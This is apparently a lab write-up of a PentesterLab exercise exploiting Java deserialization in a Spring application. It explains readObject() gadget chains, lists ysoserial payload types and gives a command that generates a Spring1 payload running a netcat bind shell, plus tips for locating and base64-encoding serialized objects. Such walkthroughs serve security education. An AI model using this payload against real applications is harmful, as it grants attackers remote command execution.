Pentesterlab Serialize Badge/ObjectInputStream

> Saikat Karmakar | Sept 8 : 2021

Introduction

This course details the exploitation of a Spring application that uses serialised Java objects. When a Java application unserialises arbitrary data, it is possible for an attacker to trigger unexpected behaviours in the application and even gain command execution.

readObject()

The root cause of this issue comes from the fact that the application uses the method readObject() on data coming from the user. However, this is only one part of the problem. In Java (as opposed to Python for example), the path from unserialise to code execution is not obvious. To gain code execution, a suit of gadgets need to be found in the libraries loaded by the application. Some security researchers are currently finding a lot of these gadgets in common libraries and getting them fixed. These libraries are not directly vulnerable, but they allow the exploitation of an application using readObject and loading them.

Exploitation of this vulnerability

The tool ysoserial can be used to exploit this issue. You can find a copy of the version 0.0.4 that works best for this challenge here. This tool allows an attacker to build malicious Java object that will provide command execution.

This tool currently embeds gadgets for the following libraries:

```
% java -jar ysoserial-0.0.4-all.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command
    to execute]'
  Available payload types:
    CommonsBeanutilsCollectionsLogging1 [commons-beanutils:commons-
        beanutils:1.9.2, commons-collections:commons-collections:3.1,
        commons-logging:commons-logging:1.2]
    CommonsCollections1 [commons-collections:commons-collections:3.1]
    CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
    CommonsCollections3 [commons-collections:commons-collections:3.1]
```

```
    CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
    Groovy1 [org.codehaus.groovy:groovy:2.3.9]
    Jdk7u21 []
    Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.
        springframework:spring-beans:4.1.4.RELEASE]
```

Here we know that it is a Spring application, therefore we can use the `Spring1`payload. If we didn't have this information, we would have to try all the payloads and hope that a "vulnerable" library is loaded by the application.

We can get `ysoserial` to generate our payload using:

```
java -jar ysoserial-0.0.4-all.jar Spring1 "/usr/bin/nc -l -p 9999 -e /
    bin/sh"
```

Now we need to find where the serialized object is used. A good indicator is the string rO0, which is the base64 encoded version of `\xac\xed\x00`. Since serialised Java objects contain a lot of special characters, it's very common for them to get encoded before being transmitted over HTTP.

Once you find where a serialised Java object is used, you will need to base64-encode your payload. You can do this by using the base64 command. If you're on Linux, you can use `base64 -w 0` to avoid new lines.

You can also try to exploit this issue with the Burp Extension JavaSerialKiller. Conclusion

This exercise demonstrates how you can get code execution if an application uses `readObject()` and contain a "vulnerable" library. Unserializing user-controlled data is never a good idea and should be avoided. I hope you enjoyed learning with PentesterLab.

Detection

cookie

```
rO0ABXNyAA92dWxuZXJhYmxlLlVzZXI5zyo_QTFh_wIAAUwACHVzZXJuYW1ldAASTGphdmEvbGFuZy9TdHJp
```

`r00` at front means java serialised object.